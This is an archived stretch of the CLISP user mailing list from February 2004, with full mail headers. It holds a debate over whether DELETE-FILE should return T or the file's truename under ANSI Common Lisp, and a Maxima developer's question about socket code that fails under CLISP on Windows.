(Exim 4.30) id 1AtCLT-0001KL-7x for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 13:01:31 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 13C78586E2; Tue, 17 Feb 2004 22:08:12 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 16C7845DBF; Tue, 17 Feb 2004 22:09:12 +0100 (CET) Message-ID: <16434.33528.947450.63133@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Sam Steingold Subject: [clisp-list] Re: poll: DELETE-FILE return value In-Reply-To: References: <075FCA84-6187-11D8-9899-000393A70920@cs.nyu.edu> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 13:13:26 2004 X-Original-Date: Tue, 17 Feb 2004 22:09:12 +0100 Sam Steingold writes: > The general idea is that the _only_ reason to use -ansi or set *ANSI* > is to run an ANSI compliance suite. > > One should set the 6 options > (http://clisp.cons.org/impnotes/ansi.html) one by one, as desired. I _always_ run clisp with -ansi. The general idea being to write portable code. I like very much clisp, but I don't want to be locked on it. -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From toy@rtp.ericsson.se Tue Feb 17 13:15:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtCYi-0004Fo-1M for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 13:15:12 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtCNv-0001ZI-Dt for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 13:04:03 -0800 Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i1HL9pLc020704 for ; Tue, 17 Feb 2004 15:09:51 -0600 (CST) Received: from eamrcnt751.exu.ericsson.se ([138.85.133.52]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0); Tue, 17 Feb 2004 15:05:34 -0600 Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id F1M4FL4L; Tue, 17 Feb 2004 15:09:59 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i1HL9vD12883; Tue, 17 Feb 2004 15:09:58 -0600 (CST) To: clisp-list@lists.sourceforge.net Cc: Marco Antoniotti Subject: Re: [clisp-list] Re: poll: DELETE-FILE return value References: <075FCA84-6187-11D8-9899-000393A70920@cs.nyu.edu> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Tue, 17 Feb 2004 15:51:47 -0500") Message-ID: <4nk72le7kr.fsf@edgedsp4.rtp.ericsson.se> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (celeriac, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-OriginalArrivalTime: 17 Feb 2004 21:05:34.0437 (UTC) FILETIME=[C8CFD150:01C3F599] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 13:16:04 2004 X-Original-Date: Tue, 17 Feb 2004 16:09:56 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> The general idea is that the _only_ reason to use -ansi or set *ANSI* Sam> is to run an ANSI compliance suite. Really? Why bother then having -ansi and *ansi*, since you're purposely not being compliant! I always set -ansi be cause that is my expectation. (Bugs in the implementation are a different matter...) Ray -- -- -- Ericsson may automatically add a disclaimer. Sorry, it's beyond my control. This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you. E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. From ortmage@gmx.net Tue Feb 17 16:42:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtFnS-0004D0-N7 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 16:42:38 -0800 Received: from imap.gmx.net ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1AtFj5-0006NI-Pn for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 16:38:07 -0800 Received: (qmail 24084 invoked by uid 65534); 18 Feb 2004 00:38:00 -0000 Received: from c-67-173-241-170.client.comcast.net (EHLO gmx.net) (67.173.241.170) by mail.gmx.net (mp009) with SMTP; 18 Feb 2004 01:38:00 +0100 X-Authenticated: #9558537 Message-ID: <40329DBC.3050807@gmx.net> From: Scott Williams User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20040108 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] poll: DELETE-FILE return value References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 16:43:03 2004 X-Original-Date: Tue, 17 Feb 2004 16:03:24 -0700 I opt for #2 Sam Steingold wrote: >In ANSI CL, DELETE-FILE is specified to return T on success. >CLISP returns the truename of the deleted file. >This is not compliant, albeit it offers a nice feature. > >How is this to be fixed? > >1. just return T and forget the truename > >2. return T when *ANSI* is T and truename otherwise. > (I think introducing an extra user variable for this is silly) > >3. ignore the ANSI spec and keep the current behavior > >4. other options? > >please voice your opinions here on , if you do not, >my prejudice will be hoisted on you. > > > From lisp-clisp-list@m.gmane.org Tue Feb 17 18:29:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtHT8-00047Y-24 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 18:29:46 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtHOg-0003d1-Or for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 18:25:10 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AtHOe-0004jw-00 for ; Wed, 18 Feb 2004 03:25:08 +0100 Received: from 216-145-247-180.dls.net ([216.145.247.180]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed Feb 18 02:25:08 2004 Received: from dietz by 216-145-247-180.dls.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed Feb 18 02:25:08 2004 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Paul F. Dietz" Lines: 20 Message-ID: References: <4noerxebc4.fsf@edgedsp4.rtp.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 216-145-247-180.dls.net User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031210 X-Accept-Language: en-us, en In-Reply-To: <4noerxebc4.fsf@edgedsp4.rtp.ericsson.se> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 18:30:02 2004 X-Original-Date: Tue, 17 Feb 2004 20:22:27 -0600 Raymond Toy wrote: >>>>>>"Sam" == Sam Steingold writes: > > > Sam> In ANSI CL, DELETE-FILE is specified to return T on success. > Sam> CLISP returns the truename of the deleted file. > > Where does it say T? From the CLHS, I see that the syntax part says > delete-file returns T, but in the description it says: > > delete-file returns true if it succeeds, or signals an error of > type file-error if it does not. > > Where "true" basically means not NIL. There are two constraints here. Return T satisfies them both. Returning the truename satisfies only the second one. Paul From amundson@fnal.gov Tue Feb 17 18:40:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtHdi-00068a-1f for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 18:40:42 -0800 Received: from woozle.fnal.gov ([131.225.9.22]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtHZI-00052a-F7 for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 18:36:08 -0800 Received: from conversion-daemon.woozle.fnal.gov by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) id <0HT900G01DRJHT@woozle.fnal.gov> for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 20:36:07 -0600 (CST) Received: from addiator.nap.wideopenwest.com (d47-69-50-134.nap.wideopenwest.com [69.47.134.50]) by woozle.fnal.gov (iPlanet Messaging Server 5.2 HotFix 1.10 (built Jan 23 2003)) with ESMTPSA id <0HT9009O1DW7BW@woozle.fnal.gov> for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 20:36:07 -0600 (CST) From: James Amundson To: clisp-list@lists.sourceforge.net Message-id: <1077071769.20997.12.camel@addiator.nap.wideopenwest.com> MIME-version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Content-type: text/plain Content-transfer-encoding: 7BIT X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] problems with sockets on windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 18:41:02 2004 X-Original-Date: Tue, 17 Feb 2004 20:36:10 -0600 Maxima is now working with Clisp on Windows. However, I can't seem to get the socket-based communication between maxima and xmaxima to work. The same code works with GCL on Linux and Windows. Clisp works under Linux, but not Windows. Either clisp socket code is broken under windows, or I am missing something. The way it is supposed to work is this: maxima starts in server mode by invoking (setup-server 4008 "localhost"). (The code is attached below.) xmaxima (a tcl application) then connects to the socket on port 4008. Using clisp under windows, xmaxima never manages to connect to the socket. Any ideas? Thanks, Jim Amundson (defun setup-server (port &optional (host "localhost")) (let* ((sock (open-socket host port))) (setq me sock) #+gcl (setq si::*sigpipe-action* 'si::bye) (setq *socket-connection* sock) (setq *standard-input* sock) (setq *standard-output* sock) (setq *error-output* sock) (setq *terminal-io* sock) (format t "pid=~a~%" (getpid)) (force-output sock) (setq *debug-io* sock) (values) )) ;;; from CLOCC: (defun open-socket (host port &optional bin) "Open a socket connection to HOST at PORT." (declare (type (or integer string) host) (fixnum port) (type boolean bin)) (let ((host (etypecase host (string host) (integer (hostent-name (resolve-host-ipaddr host)))))) #+allegro (socket:make-socket :remote-host host :remote-port port :format (if bin :binary :text)) #+clisp (socket-connect port host :element-type (if bin '(unsigned-byte 8) 'character)) #+cmu (sys:make-fd-stream (ext:connect-to-inet-socket host port) :input t :output t :element-type (if bin '(unsigned-byte 8) 'character)) #+gcl (si::socket port :host host) #+lispworks (comm:open-tcp-stream host port :direction :io :element-type (if bin 'unsigned-byte 'base-char)) #-(or allegro clisp cmu gcl lispworks) (error 'not-implemented :proc (list 'open-socket host port bin)))) From zera_holladay@yahoo.com Tue Feb 17 20:51:35 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtJgN-0007m9-1T for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 20:51:35 -0800 Received: from web41412.mail.yahoo.com ([66.218.93.78]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1AtJV8-00007p-5l for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 20:39:58 -0800 Message-ID: <20040218044652.61458.qmail@web41412.mail.yahoo.com> Received: from [68.252.241.160] by web41412.mail.yahoo.com via HTTP; Tue, 17 Feb 2004 20:46:52 PST From: zera holladay Subject: Re: [clisp-list] Re: poll: DELETE-FILE return value To: "Paul F. Dietz" , clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 20:52:02 2004 X-Original-Date: Tue, 17 Feb 2004 20:46:52 -0800 (PST) Here’s my argument let me know if I am incorrect. Assume delete-file() either returns T or signals an error if it does not. If delete-file() does not return T, then it returns (not T) and delete-file() must signal an error. If (T=true) and (true=not NIL) and (NIL=false), then (T=not false) and (not T=not true=false=NIL). Implicit in the specification is that delete-file() returns NIL on failure and (not NIL) on success, otherwise it would be pointless to test for truth at all. Does that make sense? -zh --- "Paul F. Dietz" wrote: > Raymond Toy wrote: > >>>>>>"Sam" == Sam Steingold writes: > > > > > > Sam> In ANSI CL, DELETE-FILE is specified to > return T on success. > > Sam> CLISP returns the truename of the deleted > file. > > > > Where does it say T? From the CLHS, I see that > the syntax part says > > delete-file returns T, but in the description it > says: > > > > delete-file returns true if it succeeds, or > signals an error of > > type file-error if it does not. > > > > Where "true" basically means not NIL. > > > There are two constraints here. Return T satisfies > them both. > Returning the truename satisfies only the second > one. > > Paul > > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps > Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list __________________________________ Do you Yahoo!? Yahoo! Mail SpamGuard - Read only the mail you want. http://antispam.yahoo.com/tools From dietz@dls.net Wed Feb 18 02:14:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtOiR-0007tV-Ho for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 02:14:03 -0800 Received: from anvil.dls.net ([209.242.10.148]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtOWo-0005N8-Ng for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 02:02:02 -0800 Received: from dls.net (216.145.247.180) by ice.dls.net (MX V5.3 AnFj) with ESMTP; Wed, 18 Feb 2004 04:09:09 -0600 Message-ID: <40333928.10108@dls.net> From: "Paul F. Dietz" User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: zera holladay CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: poll: DELETE-FILE return value References: <20040218044652.61458.qmail@web41412.mail.yahoo.com> In-Reply-To: <20040218044652.61458.qmail@web41412.mail.yahoo.com> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 02:15:01 2004 X-Original-Date: Wed, 18 Feb 2004 04:06:32 -0600 zera holladay wrote: > Here’s my argument let me know if I am incorrect. > Assume delete-file() either returns T or signals an > error if it does not. If delete-file() does not > return T, then it returns (not T) and delete-file() > must signal an error. If (T=true) and (true=not NIL) > and (NIL=false), then (T=not false) and (not T=not > true=false=NIL). Implicit in the specification is > that delete-file() returns NIL on failure and (not > NIL) on success, otherwise it would be pointless to > test for truth at all. Does that make sense? No, it doesn't make sense. The spec says delete-file throws an error if it cannot delete the file. Nowhere does it say it returns NIL for anything. Paul From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 18 04:29:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtQp6-0006Ux-1H for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 04:29:04 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtQdO-0006p2-Qd for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 04:16:58 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 13:24:06 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 18 Feb 2004 13:24:05 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09CDEBAC@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: poll: DELETE-FILE return value MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 04:30:01 2004 X-Original-Date: Wed, 18 Feb 2004 13:23:59 +0100 Boys, >> Where does it say T? From the CLHS, I see that the syntax part says >> delete-file returns T, but in the description it says: [...true] this looks like ultraorthodox to me. I'll suggest they intended to say true everywhere, as they do in many other places. Or does somebody have evidence to believe that they specifically did not want an implementation to return something other than 'T on delete-file? So my vote is: don't be overzealous, don't change the current state. I vaguely remember Kent M Pitman's posting in cll about the array nil issue. IIRC, his opinion was that it was superfluous that people from CLISP or ACL rushed to implement it, since in his eyes and memory, it did not follow as a requirement from either the letter or the spirit of the CLHS. I may be wrong. Is there some ANSI-CL compliance testsuite which checks (eq 'T (delete-file "FOO"))? Gru?e, Jorg. From pascal@informatimago.com Wed Feb 18 04:41:08 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtR0m-0001LQ-9y for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 04:41:08 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AtQw6-0005wA-RN for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 04:36:19 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 3A039586E2; Wed, 18 Feb 2004 13:36:12 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2CF8445DC5; Wed, 18 Feb 2004 13:37:12 +0100 (CET) Message-ID: <16435.23672.125321.467414@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: poll: DELETE-FILE return value In-Reply-To: <20040218044652.61458.qmail@web41412.mail.yahoo.com> References: <20040218044652.61458.qmail@web41412.mail.yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 04:42:01 2004 X-Original-Date: Wed, 18 Feb 2004 13:37:12 +0100 > > > Sam> In ANSI CL, DELETE-FILE is specified to return T on > > > success. CLISP returns the truename of the deleted file. > > > > There are two constraints here. Return T satisfies > > them both. Returning the truename satisfies only the second > > one. Perhaps changing the result to T would be a good think since that would force non conformant programs to become more conformant... -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From lisp-clisp-list@m.gmane.org Wed Feb 18 05:30:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtRmu-0007uG-6R for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 05:30:52 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtRb6-00070m-T2 for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 05:18:41 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AtRi9-0001UE-00 for ; Wed, 18 Feb 2004 14:25:57 +0100 Received: from 216-145-247-180.dls.net ([216.145.247.180]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed Feb 18 13:25:57 2004 Received: from dietz by 216-145-247-180.dls.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed Feb 18 13:25:57 2004 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Paul F. Dietz" Lines: 7 Message-ID: <40336746.3000604@dls.net> References: <9F8582E37B2EE5498E76392AEDDCD3FE09CDEBAC@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 216-145-247-180.dls.net User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031210 X-Accept-Language: en-us, en In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE09CDEBAC@G8PQD.blf01.telekom.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 18 05:31:07 2004 X-Original-Date: Wed, 18 Feb 2004 07:23:18 -0600 Hoehle, Joerg-Cyril wrote: > Is there some ANSI-CL compliance testsuite which checks (eq 'T (delete-file "FOO"))? Yes. :) Paul From sds@gnu.org Wed Feb 18 06:28:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AtSh9-0004dv-Ae for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 06:28:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AtSVK-0005o5-U6 for clisp-list@lists.sourceforge.net; Wed, 18 Feb 2004 06:16:47 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1IENn9f012205; Wed, 18 Feb 2004 09:23:49 -0500 (EST) To: clisp-list@lists.sourceforge.net, James Amundson Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1077071769.20997.12.camel@addiator.nap.wideopenwest.com> (James Amundson's message of "Tue, 17 Feb 2004 20:36:10 -0600") References: <1077071769.20997.12.camel@addiator.nap.wideopenwest.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, James Amundson Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: 